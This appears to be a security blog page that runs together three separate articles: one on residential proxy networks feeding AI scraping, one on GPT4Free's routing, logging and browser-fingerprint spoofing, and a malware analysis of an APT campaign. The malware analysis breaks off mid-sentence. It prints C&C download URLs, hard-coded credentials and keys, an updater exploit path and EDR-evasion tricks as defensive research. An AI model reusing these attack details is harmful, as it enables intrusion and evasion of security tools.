States</td><td>1.14M</td></tr><tr><td>France</td><td>988K</td></tr><tr><td>Philippines</td><td>774K</td></tr><tr><td>Indonesia</td><td>691K</td></tr><tr><td>Poland</td><td>519K</td></tr><tr><td>Spain</td><td>518K</td></tr><tr><td>Ukraine</td><td>481K</td></tr></tbody></table>&nbsp;

Inside the hidden supply chain of residential proxies

Your IP, Their Traffic 

An ordinary home connection can now form part of a much larger data collection network, sometimes through an app installed for a completely different reason.&nbsp;AI models were first associated with enormous collections of text, but today's systems need far more: current search results, product catalogues, images, music, video, live websites and almost anything else that can make them more capable or keep their answers up to date. Training is only part of the demand. Shopping assistants, research tools and other AI agents need to return to the web continuously if they are to work with current information.&nbsp;Collecting all of that data is not straightforward. Website operators impose rate limits, block known datacenter addresses and use anti-bot systems to identify automated activity. A crawler operating from a cloud server is relatively easy to spot. Traffic coming from an ordinary home connection is much harder to reject without also blocking legitimate visitors.&nbsp;Residential proxy networks offer a way around those controls by routing requests through IP addresses assigned to real households. The website sees what appears to be an ordinary visitor in a particular country, city or network, which is precisely what makes the connection valuable to the buyer.&nbsp;The person paying for that connection may see a very different proposition: install an app, share some "unused bandwidth" and receive money, rewards or free access in return. The screen may explain that the app will use spare resources, but say little about who will use the connection, which websites they will visit or why a residential IP address is worth paying for.&nbsp;

<h2>Why AI companies want residential IP addresses&nbsp;</h2>Once an AI product depends on live information, web access becomes part of the product itself. A shopping assistant is of limited use if it cannot see today's prices and stock, while a research agent has to open pages and follow links as it works. The same problem applies to systems handling audio, images and video.&nbsp;Many websites do not welcome automated collection at that scale. They throttle repeated requests, challenge suspicious sessions and block addresses associated with data centers or known automation. Residential proxies spread those requests across household connections, making them much harder to separate from normal browsing.&nbsp;This is no longer a niche use case hidden in technical documentation. Several large proxy providers now give AI its own product pages, integrations and commercial programmes.&nbsp;<a href="https://brightdata.com/ai/web-access" target="_blank" rel="noreferrer noopener">Bright Data</a> promotes infrastructure for model training, retrieval, multimodal datasets and web access for AI agents. It claims access to more than 400 million residential IP addresses and presents its services as a way to overcome CAPTCHAs, rate limits and blocked requests.&nbsp;<a href="https://oxylabs.io/solutions/ai-web-search" target="_blank" rel="noreferrer noopener">Oxylabs</a> sells proxy and scraping infrastructure for real-time AI search and agents, while <a href="https://soax.com/use-cases/ai-datasets" target="_blank" rel="noreferrer noopener">SOAX</a> recommends rotating residential proxies for collecting product data, prices, listings and AI training sets. <a href="https://decodo.com/data-ai-training" target="_blank" rel="noreferrer noopener">Decodo</a> markets residential proxies and scraping tools for AI training and live agents. <a href="https://iproyal.com/use-cases/ai-training/" target="_blank" rel="noreferrer noopener">IPRoyal</a> describes rotating residential proxies as infrastructure for large-scale AI data collection.&nbsp;The network sizes are the companies' own figures and should be read as marketing claims rather than independent measurements. Even so, the pitch across the industry is remarkably consistent: household IP addresses help automated systems reach websites that resist datacenter traffic.&nbsp;The Suno leak offered a rare look at how this can work from the customer's side. <a href="https://ddosecrets.org/article/suno-ai-source" target="_blank" rel="noreferrer noopener">Distributed Denial of Secrets</a> published more than 100 repositories attributed to the AI music company, saying the material showed that Suno collected music and related information from YouTube, Genius and Deezer with assistance from Bright Data. <a href="https://www.404media.co/hack-reveals-suno-ai-music-generator-scraped-youtube-deezer-and-genius/" target="_blank" rel="noreferrer noopener">404 Media</a> reported that one file referred to 2,013,545 YouTube Music clips, while comments in other files described datasets containing hundreds of thousands of hours of audio.&nbsp;<h2>How household connections enter the supply chain&nbsp;</h2>A residential network can only offer household IP addresses if real devices supply them. Some people deliberately install bandwidth-sharing or "passive income" tools. In other cases, the proxy component sits inside a free app whose visible purpose has nothing to do with routing somebody else's traffic.&nbsp;<a href="https://spur.us/blog/smart-tv-apps-residential-proxy-sdks" target="_blank" rel="noreferrer noopener">Spur Intelligence</a> scanned 6,038 applications across LG webOS and Samsung Tizen and reported residential proxy functionality in 2,058 of them. The list included games, screensavers and utilities, exactly the sort of apps someone could install without expecting the television to become part of a commercial proxy network.&nbsp;Televisions are useful proxy nodes because they remain online for long periods and few people inspect what is running in the background. Someone may accept a prompt once, forget about it and continue using the television while the proxy component remains active. <a href="https://www.mnemonic.io/resources/blog/samsungs-recommendation-rent-out-your-tvs-internet-connection/" target="_blank" rel="noreferrer noopener">Researchers at Mnemonic</a> found that, once enabled, the Bright Data SDK in some Samsung apps activated a background service that continued running after the user navigated away from the app.&nbsp;The television manufacturers have since responded. <a href="https://krebsonsecurity.com/2026/07/lg-to-ban-residential-proxies-from-smart-tv-apps/" target="_blank" rel="noreferrer noopener">LG</a> said it would suspend webOS apps whose developers failed to remove residential proxy functionality. <a href="https://techcrunch.com/2026/08/03/samsung-bans-smart-tv-apps-that-share-users-internet-connections-with-strangers/" target="_blank" rel="noreferrer noopener">Samsung</a> has restricted new app registrations containing proxy components, is introducing a platform-wide ban on residential proxy SDKs and says it is identifying and removing existing apps that contain them.&nbsp;Whatever an individual consent screen may say, these companies have decided that residential proxy functionality does not belong in apps distributed through their smart TV platforms.&nbsp;<h2>What "unused bandwidth" does not tell you&nbsp;</h2>The phrase sounds harmless. Most people will understand it as capacity that is sitting idle, not as permission for paying customers to visit websites through their IP address.&nbsp;That IP address is what gives the connection its commercial value. It allows a proxy customer to make requests that websites see as coming from a household rather than a datacenter. Describing the arrangement only in terms of bandwidth leaves out the part that buyers are actually paying for.&nbsp;The amount of traffic can also be difficult to judge from a consent screen. In the Petflix Roku app, the screen said Bright Data would <a href="https://blog.includesecurity.com/2026/06/the-smart-tv-in-your-livingroom-is-a-node-in-the-aiscraping-economy/" target="_blank" rel="noreferrer noopener">"occasionally" use the device's free resources</a> and IP address to download public web data. Include Security found that the SDK's publicly accessible configuration set a maximum of 200 GB of Wi-Fi traffic per month. That setting does not tell us how much data a typical device transferred, but it does show how little the word "occasionally" tells the person being asked to agree.&nbsp;<h2>Residential proxy networks also carry malicious traffic&nbsp;</h2>Fraudsters use the same infrastructure for phishing, malicious advertising, automated account activity and malware distribution.&nbsp;In our <a href="https://www.gendigital.com/blog/insights/research/residential-proxies" target="_blank" rel="noreferrer noopener">previous research</a>, Gen telemetry recorded 7.4 million malicious incidents associated with residential proxy traffic since January 2026, affecting 572,000 users. Phishing and malicious advertising were the largest categories, followed by e-shop scams, financial scams and malware.&nbsp;Those figures do not measure the whole residential proxy market, and they do not mean that every affected user was running a proxy node. They cover malicious activity associated with residential proxy traffic that reached people protected by our products.&nbsp;When abusive traffic exits through a household connection, that address may be the first identifier seen by the outside world. The customer can stop using the proxy, but blocks or suspicion may remain attached to the household connection.&nbsp;<h2>What informed consent would require&nbsp;</h2>Residential proxy providers say their networks are ethically sourced and based on user consent. <a href="https://brightdata.com/trustcenter/sourcing" target="_blank" rel="noreferrer noopener">Bright Data</a>, for example, says devices join its network only after users agree through an approved app and consent screen.&nbsp;A user may click "accept" knowing that an app will use spare bandwidth and still have no idea that companies will route automated traffic through the connection. They may never be told that the traffic could involve AI training, web scraping or software agents visiting sites at scale.&nbsp;The consent screen should say that third parties will access websites through the user's home IP address. It should explain the main categories of use, show when the proxy is active and make it possible to switch the function off without losing control of the rest of the app. Users should also be told how much data the software is allowed to consume.&nbsp;Residential proxies do have legitimate uses, including ad verification, price comparison and testing how services appear in different locations. AI developers also need current public information. In any case, those uses do not justify vague consent.&nbsp;People do not need to know the term “residential proxy.” They do need to know that third parties may route traffic through their home connection, that websites will see their IP address, and how much data the software is allowed to consume. That should be clear before they click accept, not buried in terms they are unlikely to read.&nbsp;Calling it “unused bandwidth” does not change what the buyer is purchasing: access to a household IP address.&nbsp;

Residential proxy providers sell household IP access for AI data collection, but many users do not understand what that access involves. 

Is Your Home Internet Feeding the AI Data Race? 

At first, nothing about the conversation looks unusual. You open g4f.dev, choose one of the many AI models on offer, type a question and watch the answer appear. The exchange feels direct, almost private: you, the website and the model whose name you selected.&nbsp;We decided to follow the prompt. What looked like a simple conversation quickly became much more crowded, with GPT4Free infrastructure, provider code, third-party services and external model endpoints all potentially playing a part. Along the way, details about the request could be recorded together with the user’s IP address and approximate location, while the model named in the interface did not always match the model identified in the response.&nbsp;The strangest part came when we examined where some of those requests might be processed. The project includes lists of externally accessible Ollama systems, including servers on personal-looking domains and infrastructure associated with organizations or other services. Their relationship with GPT4Free is not made clear to the person whose prompt may be sent in their direction.&nbsp;This is not a story about every free AI service, and “free” is not in itself evidence of anything sinister. It is a look at one popular service and at how little a polished chatbot interface can reveal about the people, systems and data practices operating behind it.&nbsp;

<h2>We followed the prompt&nbsp;</h2>GPT4Free is a widely followed open-source project that can be installed locally, but it also operates a hosted chat service at g4f.dev. Our analysis concentrated on that hosted version, where visitors can choose from models carrying names associated with OpenAI, Google, Anthropic and other developers without creating separate accounts with those companies.&nbsp;

Behind that one interface sits a collection of providers, small pieces of code that take a chat request and adapt it to whatever the next service expects. Some lead towards official model endpoints, others recreate the web exchanges used by third-party AI sites, and some draw on custom servers. Routes that are technically very different become visually indistinguishable once they appear in the same model menu.&nbsp;Following the request therefore meant looking past the label in the interface. We compared the model chosen by the user with the provider selected by GPT4Free, the request sent onwards and the identifier returned with the answer. That was when the apparently straightforward conversation began to come apart.&nbsp;<h2>The model we chose was not always the model that answered&nbsp;</h2>Several of our tests used options associated with the Gemini provider. The prompts travelled through an OpenAI-compatible chat endpoint on g4f.space before being directed to Google’s Gemini infrastructure, but in some of those exchanges the model named in the response differed from the one we had selected in GPT4Free.&nbsp;

During our testing, we observed multiple cases in which the model reported in the response differed from the one requested. Google documents that a latest alias can be updated to a newer release within the same model variation, which may explain some model changes. However, that documented behaviour does not explain the cases in which requests for Gemini Pro or Gemini Omni resulted in responses reporting models/gemini-3-flash-preview. GPT4Free’s code uses defaultModel when no model is provided or when the selection is set to “auto”, but neither condition applied in these tests. Based on the evidence currently available, we cannot determine where in the chain the model was changed or which service was responsible.&nbsp;For someone using the chat, the uncertainty remains regardless of which system made the switch. Selecting a model in an aggregator tells you what you requested, but it does not prove what ultimately processed the prompt. Establishing that requires the entire trail, from the interface and provider to the request sent upstream and the identifier that comes back with the response.&nbsp;<h2>Then the trail led to other people’s AI servers&nbsp;</h2>The investigation became more unusual when we reached Ollama.swarm. Ollama allows people to run large language models on their own computers, and much of its privacy appeal comes from keeping prompts and answers on that hardware. Its API normally listens only on the local machine, although an owner can expose it to a wider network, deliberately or through a configuration mistake, and an exposed instance may end up reachable from the public internet.&nbsp;GPT4Free’s provider code relies on JSON files containing addresses for external AI endpoints. One seed file describes 196 Ollama sources and actually contains slightly more than 200 entries. A comment attributes 20 of them to Shodan, while the origin of the rest is left unexplained in the material we examined. When we tested a selection, some responded as working Ollama or llama.cpp services and others had already disappeared.&nbsp;

The project also maintains a richer source for its Custom Providers list. Entries in the public server metadata can include a base URL, supported models and other routing information, while the is_ollama field identifies those configured as Ollama services. We found GPT4Free workers there, but also personal-looking domains and infrastructure associated with organisations or unrelated services.&nbsp;

The list alone cannot tell us why each server is there. Its owner may knowingly provide capacity to GPT4Free, may have exposed the service for another purpose, or may not realise that it can be reached at all. We therefore cannot describe the listed systems collectively as compromised or claim that they are all being used without consent. What we can see is a service offering them as possible destinations without explaining their ownership or role to the person typing the prompt.&nbsp;If a conversation reaches one of those systems, its privacy no longer depends only on GPT4Free or the company behind the model. It also depends on an endpoint the user did not choose and may never know existed, leaving no practical way to assess whether the prompt is recorded there, how long it remains or what else might happen to it.&nbsp;<h2>To reach another provider, the code puts on a disguise&nbsp;</h2>Toolbaz offered a different example of how the provider layer works. The site lets people try several AI models in a browser and uses automated checks intended to recognise a real visitor using a real device. The integration we examined recreates the web request Toolbaz expects and builds a plausible browser fingerprint containing screen dimensions, language, time zone and other details. It also generates a fresh identity for every request.&nbsp;

Together, these mechanisms make automated requests look more like separate human visits and make controls tied to a recurring identity less effective.&nbsp;The response also introduced another unresolved model name. We requested gpt-5.2, but the returned metadata identified toolbaz-v4.5-fast. Toolbaz describes ToolBaz-v4.5-Fast as its proprietary model and presents it separately from GPT-5.2. This indicates that the response was not identified as the model selected in GPT4Free, although we cannot determine the underlying architecture or technology behind Toolbaz’s proprietary model.&nbsp;<h2>The conversation does not simply pass through&nbsp;</h2>Following the prompt explained where it could travel, but the code also revealed what GPT4Free could keep. The researchers found separate code paths for usage and error logging, including retention logic covering 14 days for usage logs and 30 days for error logs. The usage-logging code includes fields for the requester’s IP address, approximate geolocation, provider, model and conversation data. The researchers did not have access to the stored logs themselves, so these findings describe the logging behavior implemented in the code, not the contents of the service’s live log files.&nbsp;The interaction between the chat interface and that logging logic creates an unexpected possibility. In the default mode, the browser resends the whole conversation whenever the user adds another message. The logger, according to our analysis, reads the first entry and then stops, so the opening prompt is repeatedly available to be recorded, while later messages reach the server without entering the GPT4Free usage log in the same way.&nbsp;

The obvious instinct might be to enable “Disable Conversation History”, but doing so changes the shape of each request. The browser then sends one message at a time, placing every new prompt in the first position where the same logging function can capture it.&nbsp;

A setting that appears more private can therefore cause more individual prompts to become eligible for the service’s usage log. “Disable Conversation History” accurately describes what changes in the browser interface, but it tells the user nothing about this less intuitive effect behind it.&nbsp;<h2>We went looking for an explanation&nbsp;</h2>By this stage we knew that prompts could cross several providers, that the displayed model did not always settle the question of which model answered, and that GPT4Free could retain conversation data alongside network and location information. We then looked for the documents that would normally explain those practices to users.&nbsp;We identified versions of the project’s members page on two related domains, gpt4free.github.io and g4f.dev. Both ask visitors to agree to a Privacy Policy and Terms of Service, but following either link returned the same Member Area instead of opening the promised document.&nbsp;

Because broken links do not necessarily mean that the documents are absent, we searched both domains separately for pages containing privacy or terms-related language. We also reviewed the project’s manifesto, the closest document we found to a general statement about how the service operates, but it does not explain how personal data or prompts are handled. Across those checks, Gen Threat Labs could not find a Privacy Policy or Terms of Service for the hosted service.&nbsp;A web search cannot prove that an unindexed page does not exist somewhere, which is why we are describing what we could find rather than claiming that no such document can possibly exist. For an ordinary user, however, the result is the same: the service asks for agreement to two documents that it does not provide through its own links and that we could not locate elsewhere.&nbsp;<h2>Think of the prompt as something you are handing over&nbsp;</h2>GPT4Free’s openness allowed us to inspect mechanisms that would remain hidden inside a closed platform. Most visitors will never read the code or suspect how many systems may be involved in producing one answer.&nbsp;Anyone using an unofficial AI service should assume that a prompt may travel through several parties. Passwords, authentication tokens, confidential documents, internal information, health or financial details and data about other people have no place there. Removing a name may not be enough when the surrounding context still identifies someone.&nbsp;Ollama users face the other side of the same story: local hardware offers no privacy if its API is exposed. Free or paid matters less than whether the operator can explain where prompts go, who processes them and what is retained. We began with a direct-looking conversation and found multiple providers, shifting identifiers, third-party endpoints and hidden logs.&nbsp;

You choose a model, ask a question and get an answer. Behind that familiar exchange is a less familiar journey involving prompt logs, shifting model identities and servers whose role is never explained to users.

Free AI, at the Price of Your Prompt

IntroductionWe recently discovered an <code>APT</code> campaign we are calling <code>Operation Dragon Castling</code>. The campaign is targeting what appears to be betting companies in <code>South East Asia</code>, more specifically companies located in <code>Taiwan</code>, the <code>Philippines</code>, and <code>Hong Kong</code>. With moderate confidence, we can attribute the campaign to a <code>Chinese speaking APT group</code>, but unfortunately cannot attribute the attack to a specific group and are not sure what the attackers are after.We found notable code similarity between one of the modules used by this APT group (the <code>MulCom backdoor</code>) and the <code>FFRat</code> samples described by the <code>BlackBerry Cylance Threat Research Team</code> in their <code>2017</code> <a href="https://blogs.blackberry.com/en/2017/06/breaking-down-ff-rat-malware">report</a> and <code>Palo Alto Networks</code> in their <code>2015</code> <a href="https://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/">report</a>. Based on this, we suspect that the FFRat codebase is being shared between several Chinese adversary groups. Unfortunately, this is not sufficient for attribution as FFRat itself was never reliably attributed.In this blogpost we will describe the malware used in these attacks and the backdoor planted by the APT group, as well as other malicious files used to gain persistence and access to the infected machines. We will also discuss the two infection vectors we saw being used to deliver the malware: an infected installer and exploitation of a vulnerable legitimate application, <code>WPS</code> <code>Office</code>.We identified a new vulnerability (<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-24934">CVE-2022-24934</a>) in the WPS Office updater wpsupdate.exe, which we suspect that the attackers abused.We would like to thank Taiwan’s <a href="https://teamt5.org/en/"><code>TeamT5</code></a> for providing us with IoCs related to the infection vector.

In the diagram above, we describe the relations between the malicious files. Some of the relations might not be accurate, e.g. we are not entirely sure if the MulCom backdoor is loaded by the <code>CorePlugin</code>. However, we strongly believe that it is one of the malicious files used in this campaign.&nbsp;<h2>Infection Vector</h2>We’ve seen multiple infection vectors used in this campaign. Among others, an attacker sent an email with an infected installer to the support team of one of the targeted companies asking to check for a bug in their software. In this post, we are going to describe another vector we’ve seen: a fake <code>WPS Office</code> update package. We suspect an attacker exploited a bug in the WPS updater<code> wpsupdate.exe</code>, which is a part of the WPS Office installation package. We have contacted WPS Office team about the vulnerability (<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-24934"><code>CVE-2022-24934</code></a>), which we discovered, and it has since been fixed.During our investigation we saw suspicious behavior in the WPS updater process. When analyzing the binary we discovered a potential security issue that allows an attacker to use the updater to communicate with a server controlled by the attacker to perform actions on the victim’s system, including downloading and running arbitrary executables. To exploit the vulnerability, a registry key under <code>HKEY_CURRENT_USER </code>needs to be modified, and by doing this an attacker gains persistence on the system and control over the update process. In the case we analyzed, the malicious binary was downloaded from the domain <code>update.wps[.]cn</code>, which is a domain belonging to <code>Kingsoft</code>, but the serving IP (<code>103.140.187.16</code>) has no relationship to the company, so we assume that it is a fake update server used by the attackers.&nbsp; The downloaded binary (<code>setup_CN_2052_11.1.0.8830_PersonalDownload_Triale.exe - B9BEA7D1822D9996E0F04CB5BF5103C48828C5121B82E3EB9860E7C4577E2954</code>) drops two files for sideloading: a signed <code>QMSpeedupRocketTrayInjectHelper64.exe - Tencent Technology (a3f3bc958107258b3aa6e9e959377dfa607534cc6a426ee8ae193b463483c341)</code> and a malicious DLL<code> QMSpeedupRocketTrayStub64.dll.</code><h2>Dropper 1 (QMSpeedupRocketTrayStub64.dll)</h2>76adf4fd93b70c4dece4b536b4fae76793d9aa7d8d6ee1750c1ad1f0ffa75491The first stage is a backdoor communicating with a C&amp;C (<code>mirrors.centos.8788912[.]com</code>). Before contacting the C&amp;C server, the backdoor performs several preparational operations. It hooks three functions: <code>GetProcAddress</code>, <code>FreeLibrary</code>, <code>LdrUnloadDll</code>.&nbsp;To get the C&amp;C domain, it maps itself to the memory and reads data starting at the offset <code>1064 </code>from the end. The domain name is not encrypted in any way and is stored as a wide string in clear text in the binary.&nbsp;Then it initializes an object for a <code>JScript</code> class with the named item <code>ScriptHelper</code>.&nbsp; The dropper uses the <code>ImpersonateLoggedOnUser </code>API Call to re-use a token from <code>explorer.exe</code> so it effectively runs under the same user. Additionally, it uses <code>RegOverridePredefKey </code>to redirect the current <code>HKEY_CURRENT_USER </code>to <code>HKEY_CURRENT_USER&nbsp; </code>of an impersonated user.&nbsp;For communication with C&amp;C it constructs a UserAgent string with some system information e.g. <code>Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1;.NET CLR 2.0). The information that is exfiltrated is: Internet Explorer version, Windows version, the value of the “User Agent\Post Platform”</code> registry values.After that, the sample constructs <code>JScript </code>code to execute. The header of the code contains definitions of two variables: <code>server</code> with the C&amp;C domain name and a hardcoded <code>key</code>. Then it sends the HTTP <code>GET </code>request to <code>/api/connect,</code> the response should be encrypted <code>JScript </code>code that is decrypted, appended to the constructed header and executed using the <code>JScript </code>class created previously.

At the time of analysis, the C&amp;C was not responding, but from the telemetry data we can conclude that it was downloading the next stage from <code>hxxp://mirrors.centos.8788912.com/upload/ea76ad28a3916f52a748a4f475700987.exe</code> to <code>%ProgramData%\icbc_logtmp.exe</code> and executing it.<h2>Dropper 2 (IcbcLog)</h2>a428351dcb235b16dc5190c108e6734b09c3b7be93c0ef3d838cf91641b328b3The second dropper is a runner that, when executed, tries to escalate privileges via the <code>COM Session Moniker Privilege </code>Escalation <code>(</code><a href="https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-012"><code>MS17-012</code></a><code>)</code>, then dropping a few binaries, which are stored with the following resource IDs:

The encrypted payloads have the following structure:The encryption key is a wide string starting from offset <code>0x8</code>. The encrypted data starts at the offset <code>0x528</code>. To decrypt the data, a SHA256 hash of the key is created using <code>CryptHashData </code>API, and is then used with a hard-coded IV<code> 0123456789abcde</code> to decrypt the data using <code>CryptDecrypt </code>API with the <code>AES256</code> algorithm. After that, the decrypted data is decompressed with <code>RtlDecompressBuffer</code>. To verify that the decryption went well, the <code>CRC32</code> of the data is computed and compared to the value at the offset <code>0x4 </code>of the original resource data. When all the payloads are dropped to the disk, <code>bdservicehost.exe </code>is executed to run the next stage.<h2>Loader (CoreX)</h2>97c392ca71d11de76b69d8bf6caf06fa3802d0157257764a0e3d6f0159436c42The <code>Loader (CoreX) </code>DLL is sideloaded during the previous stage <code>(Dropper 2)</code> and acts as a dropper. Similarly to <code>Dropper 1</code>, it hooks the <code>GetProcAddress </code>and <code>FreeLibrary </code>API functions. These hooks execute the main code of this library. The main code first checks whether it was loaded by <code>regsvr32.exe</code> and then it retrieves encrypted data from its resources. This data is dropped into the same folder as <code>syscfg.dat</code>. The file is then loaded and decrypted using AES-256 with the following options for setup:<ul><li data-list-item-id="efbbd9daa6ff2673271f3fa7e2e9c70c3">Key is the computer name and IV is <code>qwertyui12345678</code></li><li data-list-item-id="e276c68eaeda9eaa8e7c55fe40bd85bef">AES-256 setup parameters are embedded in the resource in the format <code>&lt;key&gt;#&lt;IV&gt;</code>. So you may e.g. see <code>cbfc2vyuzckloknf#8o3yfn0uee429m8d</code></li></ul>

The main code continues to check if the process <code>ekrn.exe</code> is running. <code>ekrn.exe</code> is an ESET Kernel service. If the ESET Kernel service is running, it will try to remap <code>ntdll.dll</code>. We assume that this is used to bypass <code>ntdll.dll</code> hooking.&nbsp;After a service check, it will decompress and execute shellcode, which in turn loads a DLL with the next stage. The DLL is stored, unencrypted, as part of the shellcode.&nbsp;The shellcode enumerates exports of <code>ntdll.dll </code>and builds an array with hashes of names of all <code>Zw*</code> functions (windows native API system calls) then sorts them by their RVA. By doing this, the shellcode exploits the fact that the order of RVAs of <code>Zw*</code> functions equals the order of the corresponding syscalls, so an index of the <code>Zw*</code> function in this array is a syscall number, which can be called using the syscall instruction. Security solutions can therefore be bypassed based on the hooking of the API in userspace. Finally, the embedded core module DLL is loaded and executed.<h2>Proto8 (Core module)</h2>f3ed09ee3fe869e76f34eee1ef974d1b24297a13a58ebff20ea4541b9a2d86c7The core module is a single DLL that is responsible for setting up the malware’s working directory, loading configuration files, updating its code, loading plugins, beaconing to C&amp;C servers and waiting for commands.It has a cascading structure with four steps:<h3>Step 1</h3>The first part is dedicated to initial checks and a few evasion techniques.&nbsp;At first, the core module verifies that the DLL is being run by <code>spdlogd.exe</code> (an executable used for persistence, see below) or that it is not being run by <code>rundll32.exe.</code> If this check fails, the execution terminates. The DLL proceeds by hooking the <code>GetProcAddress </code>and <code>FreeLibrary </code>functions in order to execute the main function, similarly to the previous infection stages.

The malware then creates a new window (named <code>Sample</code>) with a custom callback function. A message with the ID <code>0x411 </code>is sent to the window via <code>SendMessageW</code> which causes the aforementioned callback to execute the main function. The callback function can also process the <code>0x412 </code>message ID, even though no specific functionality is tied to it.

<h3>Step 2</h3>In the second step, the module tries to self-update, load configuration files and set up its working directory (WD).

<h4>Self-update</h4>The malware first looks for a file called <code>new_version.dat</code> – if it exists, its content is loaded into memory, executed in a new thread and a debug string <code>“run code ok”</code> is printed out. We did not come across this file, but based on its name and context, this is most likely a self update functionality.

Load configuration file <code>inst.dat </code>and set up working directory. First, the core module configuration file inst.dat is searched for in the following three locations:<ul><li data-list-item-id="ea830906ebfe7209f2529134f5e37ca4d">the directory where the core module DLL is located</li><li data-list-item-id="ec3ea1b97a307a994062abf67820446f3">the directory where the EXE that loaded the core module DLL it is located</li><li data-list-item-id="eb3eb29147f89b253ca92488c246b260b"><code>C:\ProgramData\</code></li></ul>It contains the path to the malware’s working directory in plaintext. If it is not found, a hard-coded directory name is used and the directory is created. The working directory is a location the malware uses to drop or read any files it uses in subsequent execution phases.Load configuration file <code>smcache.dat</code>.After the working directory is set up, the sample will load the configuration file <code>smcache.dat</code> from it. This file contains the domains, protocols and port numbers used to communicate with C&amp;C servers (details in Step 4) plus a <code>“comment”</code> string. This string is likely used to identify the campaign or individual victims. It is used to create an empty file on the victim’s computer (see below) and it’s also sent as a part of the initial beacon when communicating with C&amp;C servers. We refer to it as the<code> “comment string”</code> because we have seen a few versions of smcache.dat where the content of the string was<code> “the comment string here”</code> and it is also present in another configuration file with the name <code>comment.dat</code> which has the INI file format and contains this string under the key COMMENT.Create a <code>log </code>fileRight after the sample finds and reads smcache.dat, it creates a file based on the victim’s username and the comment string from smcache.dat. If the comment string is not present, it will use a default hard-coded value (for example <code>M86_99.lck</code>). Based on the extension it could be a log of some sort, but we haven’t seen any part of the malware writing into it so it could just serve as a lockfile. After the file is successfully created, the malware creates a mutex and goes on to the next step.<h3>Step 3</h3>Next, the malware collects information about the infected environment (such as username, DNS and NetBios computer names as well as OS version and architecture) and sets up its internal structures, most notably a list of <code>“call objects”</code>. Call objects are structures each associated with a particular function and saved into a <code>“dispatcher”</code> structure in a map with hard-coded 4-byte keys. These keys are later used to call the functions based on commands from C&amp;C servers.&nbsp;The key values (IDs) seem to be structured, where the first three bytes are always the same within a given sample, while the last byte is always the same for a given usage across all the core module samples that we’ve seen. For example, the function that calls the <code>RevertToSelf </code>function is identified by the number <code>0x20210326 </code>in some versions of the core module that we’ve seen and<code> 0x19181726 </code>in others. This suggests that the first three bytes of the ID number are tied to the core module version, or more likely the infrastructure version, while the last byte is the actual ID of a function.&nbsp;

Webdav&nbsp;While initializing the call objects the core module also tries to connect to the URL <code>hxxps://dav.jianguoyun.com/dav/</code> with the username <code>12121jhksdf </code>and password <code>121121212 </code>by calling <code>WNetAddConnection3W</code>. This address was not responsive at the time of analysis but <code>jianguoyun[.]com</code> is a Chinese file sharing service. Our hypothesis is that this is either a way to get plugin code or an updated version of the core module itself.PluginsThe core module contains a function that receives a buffer with plugin DLL data, saves it into a file with the name <code>kbg&lt;tick_count&gt;.dat</code> in the malware working directory, loads it into memory and then calls its exported function <code>InitCorePlug</code>. The plugin file on disk is set to be deleted on reboot by calling <code>MoveFileExW </code>with the parameter <code>MOVEFILE_DELAY_UNTIL_REBOOT</code>.&nbsp;For more information about the plugins, see the dedicated Plugins section.<h3>Step 4</h3>In the final step, the malware will iterate over C&amp;C servers contained in the smcache.dat configuration file and will try to reach each one.&nbsp;The structure of the <code>smcache.dat</code> config file is as follows:

The protocol string can have one of nine possible values:&nbsp;<ul><li data-list-item-id="e071b461312ed0c75d97d52412ea7fc1d"><code>TCP</code></li><li data-list-item-id="e02d88afe539aa83d2f17dd7b0f446d16"><code>HTTPS</code></li><li data-list-item-id="e5a6f5dc95319b788e55b5375197116a1"><code>UDP</code></li><li data-list-item-id="ec6f513e4a2a9eaf13c5588b84315d8a3"><code>DNS</code></li><li data-list-item-id="e39740f5f847718ce4630c30ea436921a"><code>ICMP</code></li><li data-list-item-id="eca0e286a0ac0dbc07b5885167396adf6"><code>HTTPSIPV6</code></li><li data-list-item-id="e06fea103c13d7af71b29a280c45ba276"><code>WEB</code></li><li data-list-item-id="eceb2b0c0d488753703b30eef032558a3"><code>SSH</code></li><li data-list-item-id="e2799357f897faba65dfdf6c55b717b79"><code>HTTP</code></li></ul>Depending on the protocol tied to the particular C&amp;C domain, the malware sets up the connection, sends a beacon to the C&amp;C and waits for commands.In this blogpost, we will mainly focus on the HTTP protocol option as we’ve seen it being used by the attackers.

When using the HTTP protocol, the core module first opens two persistent request handles – one for <code>POST </code>and one for <code>GET </code>requests, both to <code>“/connect”</code>. These handles are tested by sending an empty buffer in the <code>POST </code>request and checking the HTTP status code of the <code>GET </code>request. Following this, the malware sends the initial beacon to the C&amp;C server by calling the <code>InternetWriteFile </code>API with the previously opened <code>POST </code>request handle and reads data from the <code>GET </code>request handle by calling <code>InternetReadFile</code>.

The core module uses the following (mostly hard-coded) HTTP headers:<ul><li data-list-item-id="e681e659a23296adb0eeb41801c3d4544"><code>Accept: */*</code></li><li data-list-item-id="ebf17a32e099479702b8ee4ef9e8a2542"><code>x-cid: {&lt;uuid&gt;}</code> – new uuid is generated for each <code>GET/POST </code>request pair</li><li data-list-item-id="eaf5b6cfcd07a2f9ac8a3207a52a31ad4"><code>Pragma: no-cache</code></li><li data-list-item-id="ec4a3a9dc442d42fe736590121754b7e3"><code>Cache-control: no-transform</code></li><li data-list-item-id="eb39c31424ec5afacfe87afb430b9a341"><code>User-Agent: &lt;user_agent&gt;</code> – generated from registry or hard-coded (see below)</li><li data-list-item-id="e463fb035dad06e75a0866458ceb6fe92"><code>Host: &lt;host_value&gt;</code> – C&amp;C server domain or the value from hostcfg.dat (see below)</li><li data-list-item-id="e253ed4f05534b8cb2dda7c9d452079a8"><code>Connection: Keep-Alive</code></li><li data-list-item-id="e9e3bc1db8a2308b3628a4b4eb762547c"><code>Content-Length: 4294967295</code> (max uint, only in the POST request)</li></ul>User-Agent headerThe User-Agent string is constructed from the registry the same way as in the <code>Dropper 1</code> module (including the logged-on user impersonation when accessing registry) or a hard-coded string is used if the registry access fails: <code>“Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)”</code>.Host headerWhen setting up this header, the malware looks for either a resource with the<code> ID 1816</code> or a file called <code>hostcfg.dat</code> if the resource is not found. If the resource or file is found, the content is used as the value in the <code>Host </code>HTTP header for all C&amp;C communication instead of the 